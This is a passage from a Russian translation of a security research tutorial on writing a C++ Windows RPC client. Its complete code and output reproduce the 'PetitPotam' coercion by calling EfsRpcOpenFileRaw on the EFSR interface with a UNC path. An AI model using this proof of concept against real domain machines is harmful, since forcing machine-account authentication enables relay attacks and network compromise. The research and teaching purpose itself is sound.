2) Вызовите RpcBindingFromStringBinding для создания хэндла на основе предыдущей строки биндинга.
3) Вызовите RpcStringFree, чтобы освободить строку биндинга, поскольку она нам больше не нужна.
4) Опционально вызовите RpcBindingSetAuthInfo или RpcBindingSetAuthInfoEx, чтобы установить явную информацию об аутентификации для нашего хэндла.
5) Используйте хэндл для вызова удалённых процедур.
6) Вызовите RpcBindingFree для освобождения хэндла.

В моём случае это следующий stub-код:
C++:
#include "efsr_h.h"
#include <iostream>

#pragma comment(lib, "RpcRT4.lib")

int wmain(int argc, wchar_t* argv[])
{
    RPC_STATUS status;
    RPC_WSTR StringBinding;
    RPC_BINDING_HANDLE Binding;

    status = RpcStringBindingCompose(
        NULL,                       // Interface's GUID, will be handled by NdrClientCall
        (RPC_WSTR)L"ncacn_np",      // Protocol sequence
        (RPC_WSTR)L"\\\\127.0.0.1", // Network address
        (RPC_WSTR)L"\\pipe\\lsass", // Endpoint
        NULL,                       // No options here
        &StringBinding              // Output string binding
    );

    wprintf(L"[*] RpcStringBindingCompose status code: %d\r\n", status);

    wprintf(L"[*] String binding: %ws\r\n", StringBinding);

    status = RpcBindingFromStringBinding(
        StringBinding,              // Previously created string binding
        &Binding                    // Output binding handle
    );

    wprintf(L"[*] RpcBindingFromStringBinding status code: %d\r\n", status);

    status = RpcStringFree(
        &StringBinding              // Previously created string binding
    );

    wprintf(L"[*] RpcStringFree status code: %d\r\n", status);

    RpcTryExcept
    {
        // Invoke remote procedure here
    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER);
    {
        wprintf(L"Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode());
    }
    RpcEndExcept

    status = RpcBindingFree(
        &Binding                    // Reference to the opened binding handle
    );

    wprintf(L"[*] RpcBindingFree status code: %d\r\n", status);
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
    free(p);
}

Я бы рекомендовал вызывать удалённые процедуры внутри блока try/catch, поскольку исключения довольно часто встречаются в RPC-контексте. Иногда исключения возникают просто из-за неправильного синтаксиса, но в отдельных случаях серверы могут просто выбрасывать исключения, а не возвращать код ошибки.

Мы уже можем скомпилировать этот код и убедиться, что всё в порядке. RPC-функции возвращают код RPC_STATUS. Если выполнение успешно, то возвращается значение 0, что соответствует RPC_S_OK. Если это не так, вы можете проверить документацию здесь, чтобы определить что не так или даже можете написать функцию для печати соответствующего сообщения об ошибке Win32.
C:\Workspace\EfsrClient\x64\Release>EfsrClient.exe
[*] RpcStringBindingCompose status code: 0
[*] String binding: ncacn_np:\\\\127.0.0.1[\\pipe\\lsass]
[*] RpcBindingFromStringBinding status code: 0
[*] RpcStringFree status code: 0
[*] RpcBindingFree status code: 0

Теперь, когда у нас есть хэндл, мы можем попытаться вызвать процедуру EfsRpcOpenFileRaw. Но подождите... Есть проблема с прототипом функции. Она не принимает в качестве аргумента хэндл.

1640378319037.png


Если вернуться к определению функции в IDL-файле, то можно увидеть, что проблема действительно существует. Список аргументов должен начинаться с arg_0, как показано в следующей процедуре - EfsRpcReadFileRaw. Следовательно, чего-то не хватает.
C++:
long Proc0_EfsRpcOpenFileRaw_Downlevel(
  [out][context_handle] void** arg_1,
  [in][string] wchar_t* arg_2,
  [in]long arg_3);

long Proc1_EfsRpcReadFileRaw_Downlevel(
  [in][context_handle] void* arg_0,
  [out] char* arg_1);

Отсутствующий аргумент arg_0 - это именно тот хэндл, который нам нужно передать в среду выполнения RPC. Это типичная ошибка, с которой я много раз сталкивался при работе с RpcView. Однако не знаю, является ли это проблемой инструмента или каким-то иным недоразумением.

Ещё одна вещь, которая должна вас насторожить - это тот факт, что процедура EfsRpcOpenFileRaw возвращает хэндл контекста в качестве выходного значения ([out][context_handle] void** arg_1). Это очень распространённая вещь для RPC-серверов. Они часто предоставляют процедуру, которая принимает хэндл в качестве входного значения и возвращает хэндл контекста, который вы должны использовать в последующих вызовах.

Давайте исправим это и скомпилируем IDL-файл еще раз.
C++:
long Proc0_EfsRpcOpenFileRaw_Downlevel(
  [in]handle_t arg_0,
  [out][context_handle] void** arg_1,
  [in][string] wchar_t* arg_2,
  [in]long arg_3);

Теперь мы знаем, что arg_0 - это хэндл. Мы также знаем, что arg_1 - это ссылка на хэндл контекста. Предполагаем, что не знаем деталей структуры контекста, но это не проблема. Мы можем просто передать ссылку на произвольную переменную void*. Далее, мы не знаем что такое arg_2 и arg_3. Но поскольку arg_2 - wchar_t*, а имя процедуры - EfsRpcOpenFileRaw, мы можем предположить, что arg_2 - путь к файлу. Значение arg_3 тоже предстоит определить. Однако мы знаем, что это long, поэтому мы можем произвольно установить его в 0 и посмотреть, что произойдёт.
C++:
RpcTryExcept
{
    // Invoke remote procedure here
    PVOID pContext;
    LPWSTR pwszFilePath;
    long result;

    pwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
    StringCchPrintf(pwszFilePath, MAX_PATH, L"C:\\Workspace\\foo123.txt");

    wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFilePath);
    result = Proc0_EfsRpcOpenFileRaw_Downlevel(Binding, &pContext, pwszFilePath, 0);
    wprintf(L"[*] EfsRpcOpenFileRaw status code: %d\r\n", result);

    LocalFree(pwszFilePath);
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
    wprintf(L"Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode());
}
RpcEndExcept
C:\Workspace\EfsrClient\x64\Release>EfsrClient.exe
[*] RpcStringBindingCompose status code: 0
[*] String binding: ncacn_np:\\\\127.0.0.1[\\pipe\\lsass]
[*] RpcBindingFromStringBinding status code: 0
[*] RpcStringFree status code: 0
[*] Invoking EfsRpcOpenFileRaw with target path: C:\Workspace\foo123.txt
[*] EfsRpcOpenFileRaw status code: 5
[*] RpcBindingFree status code: 0

При выполнении этого кода EfsRpcOpenFileRaw возвращает стандартный код ошибки. 5, что означает "Доступ запрещён". Такая ошибка может быть очень неприятной, потому что вы не знаете, что именно происходит. Ошибка может возникнуть по многим причинам (например: недостаточные привилегии, неправильная комбинация параметров и т.д.).

Обычно для того, чтобы определить почему сервер возвращает эту ошибку, необходимо начинать реверс целевой процедуры. Однако для краткости я немного схитрил и просто проверил документацию. В документации к EfsRpcOpenFileRaw можно прочитать, что третий параметр действительно является "FileName". Но более точно - это "идентификатор EFSRPC". А согласно документации "идентификаторы EFSRPC" должны быть UNC-путями. Итак, мы можем изменить следующую строку кода и посмотреть, решит ли это проблему.
C++:
StringCchPrintf(pwszFilePath, MAX_PATH, L"\\\\127.0.0.1\\C$\\Workspace\\foo123.txt");
После изменения кода сервер возвращает код ошибки 2, что означает "Файл не найден". Это хороший знак.
C:\Workspace\EfsrClient\x64\Release>EfsrClient.exe
[*] RpcStringBindingCompose status code: 0
[*] String binding: ncacn_np:\\\\127.0.0.1[\\pipe\\lsass]
[*] RpcBindingFromStringBinding status code: 0
[*] RpcStringFree status code: 0
[*] Invoking EfsRpcOpenFileRaw with target path: \\127.0.0.1\C$\Workspace\foo123.txt
[*] EfsRpcOpenFileRaw status code: 2
[*] RpcBindingFree status code: 0

Определение интересующего поведения

Запустив Process Monitor в фоновом режиме, мы видим, что lsass.exe действительно пытался получить доступ к файлу \\127.0.0.1\C$\Workspace\foo123.txt, которого не существует. Отсюда и ошибка "Файл не найден".

1640379232864.png


Но если мы проверим детали операции CreateFile, то увидим, что RPC-сервер на самом деле выдаёт себя за клиента. Другими словами, мы могли бы просто вызвать CreateFile самостоятельно и результат был бы таким же.

1640379303248.png


Однако интересно то, что происходит перед тем, как lsass.exe пытается получить доступ к заданному файлу. Действительно, он открывает именованный канал \pipe\srvsvc, но на этот раз не выдавая себя за клиента. Если вы видели мою статью о PrintSpoofer, то знаете, что подобное поведение наблюдалось и с сервером Print Spooler, который пытался открыть именованный канал \pipe\spoolss.

1640379427072.png


Конечно, учётная запись NT AUTHORITY\SYSTEM не может быть использована для сетевой аутентификации. Поэтому при вызове этой процедуры с удалённым путём на машине, подключенной к домену, Windows фактически будет использовать учетную запись компьютера для аутентификации на удалённом сервере. Это объясняет, почему "PetitPotam" может заставить произвольный узел Windows аутентифицироваться на другой машине.

И наконец, окончательный код.
C++:
#include "efsr_h.h"
#include <iostream>
#include <strsafe.h>

#pragma comment(lib, "RpcRT4.lib")

int wmain(int argc, wchar_t* argv[])
{
    RPC_STATUS status;
    RPC_WSTR StringBinding;
    RPC_BINDING_HANDLE Binding;

    status = RpcStringBindingCompose(
        NULL,                       // Interface's GUID, will be handled by NdrClientCall
        (RPC_WSTR)L"ncacn_np",      // Protocol sequence
        (RPC_WSTR)L"\\\\127.0.0.1", // Network address
        (RPC_WSTR)L"\\pipe\\lsass", // Endpoint
        NULL,                       // No options here
        &StringBinding              // Output string binding
    );

    wprintf(L"[*] RpcStringBindingCompose status code: %d\r\n", status);

    wprintf(L"[*] String binding: %ws\r\n", StringBinding);

    status = RpcBindingFromStringBinding(
        StringBinding,              // Previously created string binding
        &Binding                    // Output binding handle
    );

    wprintf(L"[*] RpcBindingFromStringBinding status code: %d\r\n", status);

    status = RpcStringFree(
        &StringBinding              // Previously created string binding
    );

    wprintf(L"[*] RpcStringFree status code: %d\r\n", status);

    RpcTryExcept
    {
        // Invoke remote procedure here
        PVOID pContext;
        LPWSTR pwszFilePath;
        long result;

        pwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
        //StringCchPrintf(pwszFilePath, MAX_PATH, L"C:\\Workspace\\foo123.txt");
        StringCchPrintf(pwszFilePath, MAX_PATH, L"\\\\127.0.0.1\\C$\\Workspace\\foo123.txt");

        wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFilePath);
        result = Proc0_EfsRpcOpenFileRaw_Downlevel(Binding, &pContext, pwszFilePath, 0);
        wprintf(L"[*] EfsRpcOpenFileRaw status code: %d\r\n", result);

        LocalFree(pwszFilePath);
    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER);
    {
        wprintf(L"Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode());
    }
    RpcEndExcept

    status = RpcBindingFree(
        &Binding                    // Reference to the opened binding handle
    );

    wprintf(L"[*] RpcBindingFree status code: %d\r\n", status);
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
    free(p);
}

Заключение

В этой статье мы узнали как можно получить всю необходимую информацию из RpcView для создания лёгкого клиентского приложения на C/C++. В частности, мы увидели, как можно воспроизвести трюк "PetitPotam", вызвав процедуру EfsRpcOpenFileRaw интерфейса EFSR. Я постарался включить как можно больше деталей, но, конечно, не могу охватить все аспекты Windows RPC. Если вам всё ещё интересно, @0xcsandker также написал отличную статью в блоге на эту тему здесь: Offensive Windows IPC Internals 2: RPC. Его статьи всегда заслуживают прочтения и внимания, так как они подробны и содержат много информации.

Я также постарался охватить некоторые практические вопросы и ошибки, с которыми вы столкнётесь при реализации RPC-клиента на C/C++. Но, опять же, вам придётся столкнуться с множеством других ошибок при компиляции или вызове удалённых процедур если вы решите пойти этим путём. К счастью, многие RPC-интерфейсы Windows документированы, так что это хорошая отправная точка.

Наконец, реализация RPC-клиента на C/C++ не обязательно является лучшим решением, если вы занимаетесь исследованиями, ориентированными на безопасность. Этот процесс занимает довольно много времени. Однако я всё же рекомендую его, поскольку это хороший способ изучить и лучше понять некоторые внутренние механизмы Windows. В качестве альтернативы, более ориентированной на исследования, можно использовать модуль NtObjectManager, разработанный James Forshaw. Этот модуль довольно мощный, поскольку позволяет взаимодействовать с RPC-сервером при помощи нескольких строк PowerShell. Как обычно, James написал отличную статью об этом здесь: Calling Local Windows RPC Servers from .NET.

---
Оригинал статьи: https://itm4n.github.io/from-rpcview-to-petitpotam/
Переведено специально для xss.pro. Спасибо Azrv3l за наводку.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх